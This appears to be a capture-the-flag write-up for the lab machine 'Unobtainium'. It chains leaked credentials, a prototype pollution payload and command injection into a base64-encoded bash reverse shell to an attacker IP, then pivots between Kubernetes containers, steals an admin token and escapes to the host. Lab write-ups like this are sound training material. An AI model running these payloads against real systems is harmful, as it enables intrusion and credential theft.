Unobtainium

Enumeration
As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.235 -oN allPorts
-sSuse the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.--min-rate 5000nmap will try to keep the sending rate at or above 5000 packets per second.-p-scanning the entire port range, from 1 to 65535.-T5insane mode, it is the fastest mode of the nmap time template.-Pnassume the host is online.-nscan without reverse DNS resolution.-oNsave the scan result into a file, in this case the allports file.
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p22,80,8443,10250,10251,31337 10.10.10.235 -oN targeted
-sCperforms the scan using the default set of scripts.-sVenables version detection.-oNsave the scan result into file, in this case the targeted file.
The main website shows a simple landing page with download links for .zip files.

Let's download the deb one, as I am using Kali Linux. Then, decompress the file with dpkg.
dpkg-deb -xv unobtainium_1.0.0_amd64.deb decompressed
We could find for executable binaries inside the decompressed folder. We'll see that there is one called unobtainium.
find decompressed/ -executable
We won't be able to run it as root.
decompressed/opt/unobtainium/unobtainium
Let's become a privilege with fewer privileges, and run the binary.
su alfa8sa
decompressed/opt/unobtainium/unobtainium

The program can not reach unobtainium.htb because it can't resolve the domain. Let's add it to the /etc/hosts file.
nano /etc/hosts
Now, run the binary again.
decompressed/opt/unobtainium/unobtainium

It has several functionalities, such us the Message Log.

The Post Messages, where we can post messages.

And the Todo section, where there is a list.

Exploitation
It looks like the program is retrieving the data from somewhere. Let's use WireShark to see all the network packets. Select the tun0 network interface.

Now, navigate to all the different sections of the program to generate some traffic. Then filter only for HTTP packets.

There is one POST request to /todo, let's inspect that request from Follow > TCP Stream.

The request is retrieving the content of the todo.txt file using some credentials in plain text.

Let's try to replicate the request with curl.
curl -s -X POST http://unobtainium.htb:31337/todo -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"todo.txt"}' -H 'Content-Type: application/json' | jq
As we saw in the nmap report, the web server is using NodeJS. Which means that there could be an index.js file. Let's try to get its content.
curl -s -X POST http://unobtainium.htb:31337/todo -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"index.js"}' -H 'Content-Type: application/json' | jq
There we have the code of the index.js file. Let's clean the output, and put it into the index.js file.
curl -s -X POST http://unobtainium.htb:31337/todo -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"index.js"}' -H 'Content-Type: application/json' | jq '.["content"]' | sed 's/\n/\n/g' | tr -d '' | head -c -2 > index.js
Let's check the index.js file. First, we can see that it is requiring google-cloudstorage-commands.
There is a command injection vulnerability that affects this software. The vulnerability occurs in the following line.
The problem is that we can not exploit this vulnerability jet because that line is inside the upload function, which we can not use because the felamos user doesn't have privileges to upload files.
We need to find a way to set canUpload: true on the felamos user. There is a Prototype Pollution vulnerability in the following part of the code.
We can exploit this vulnerability by doing a PUT request and sending {"canUpload":"true"} as the message.
curl -s -X PUT http://unobtainium.htb:31337/ -d '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"__proto__":{"canUpload":"true"}}}' -H 'Content-Type: application/json' | jq
Now we should have canUpload set to true, and we should be able to upload files and exploit the command injection vulnerability. First, base64 encode a one-liner reverse shell.
echo -n 'bash -i >& /dev/tcp/10.10.14.9/4444 0>&1' | base64
Set a netcat listener on port 4444.
nc -lvnp 4444
Finally, if we send the payload as the filename, we'll get a reverse shell as root in the machine, and we'll be able to grab the user flag.
curl -s -X POST http://unobtainium.htb:31337/upload -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"& echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45LzQ0NDQgMD4mMQ== | base64 -d | bash"}' -H 'Content-Type: application/json' | jq
Privilege Escalation
It looks like we are in a container because the IP address of the machine is 10.42.0.43.
ip a
There is one cron job removing the kubectl binary from the system.
cat /etc/cron.d/clear-kubectl
Let's download the kubectl tool, and transfer it to the machine.
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
python -m http.server 80
Download it from the container.
cd /tmp
wget http://10.10.14.9/kubectl
chmod +x kubectl
./kubectl
It works. Let's enumerate Kubernetes with this tool. As we can see, we have permission to list namespaces.
./kubectl auth can-i list namespaces
We can even get them.
./kubectl auth can-i get namespaces
There are some active namespaces.
./kubectl get namespaces
The dev namespace has some pods running.
./kubectl get pod -n dev
If we describe the first one, we'll see a different IP address.
./kubectl describe pods/devnode-deployment-776dbcf7d6-sr6vj -n dev
It is listening on port 3000. The same port we saw that index.js was running on.
We even have connectivity with that IP address.
ping -c 1 10.42.0.42
It looks like it has the same web server running on it.
curl -s -X POST "http://10.42.0.42:3000/todo"
Maybe we can exploit the Prototype Pollution vulnerability again. Set another netcat listener on port 4444.
nc -lvnp 4444
And try to exploit the new webserver the same way we did before.
curl -s -X PUT http://10.42.0.42:3000/ -d '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"proto":{"canUpload":"true"}}}' -H 'Content-Type: application/json'
curl -s -X POST http://10.42.0.42:3000/upload -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"& echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45LzQ0NDQgMD4mMQ== | base64 -d | bash"}' -H 'Content-Type: application/json'
Now we have access to another container. It has the same cron job as the other container.
cat /etc/cron.d/clear-kubectl
Transfer the kubectl tool to the new container.
python -m http.server 80
Download it.
cd /tmp
wget http://10.10.14.9/kubectl
chmod +x kubectl
./kubectl
As we can see, in this container we have privileges to get the secrets of the kube-system namespace.
./kubectl auth can-i get secrets -n kube-system
There are a bunch of secrets, but there is one called c-admin-token-b47f7.
./kubectl get secrets -n kube-system
This secret contains a JWT.
./kubectl describe secrets/c-admin-token-b47f7 -n kube-system
Put the token in the c-admin-token-b47f7 file.
echo 'eyJh...tgZA' > c-admin-token-b47f7
With this token, we might be able to do more things, such as creating new pods.
./kubectl auth can-i create pod --token $(cat c-admin-token-b47f7)
Now that we can create new pods, there is a way to escape the container, and gain access to the main machine. First, we need to create the pwned.yaml file with the following content.
nano pwned.yaml
Now, download it from the container.
wget http://10.10.14.9/pwned.yaml
Now, set another netcat listener on port 4444.
nc -lvnp 4444
And create a new pod using the pwned.yaml file and the token. We should gain access as root into the main machine, and then all we have to do is reap the harvest and take the root flag.
./kubectl create -f pwned.yaml --token $(cat c-admin-token-b47f7)
Last updated
Was this helpful?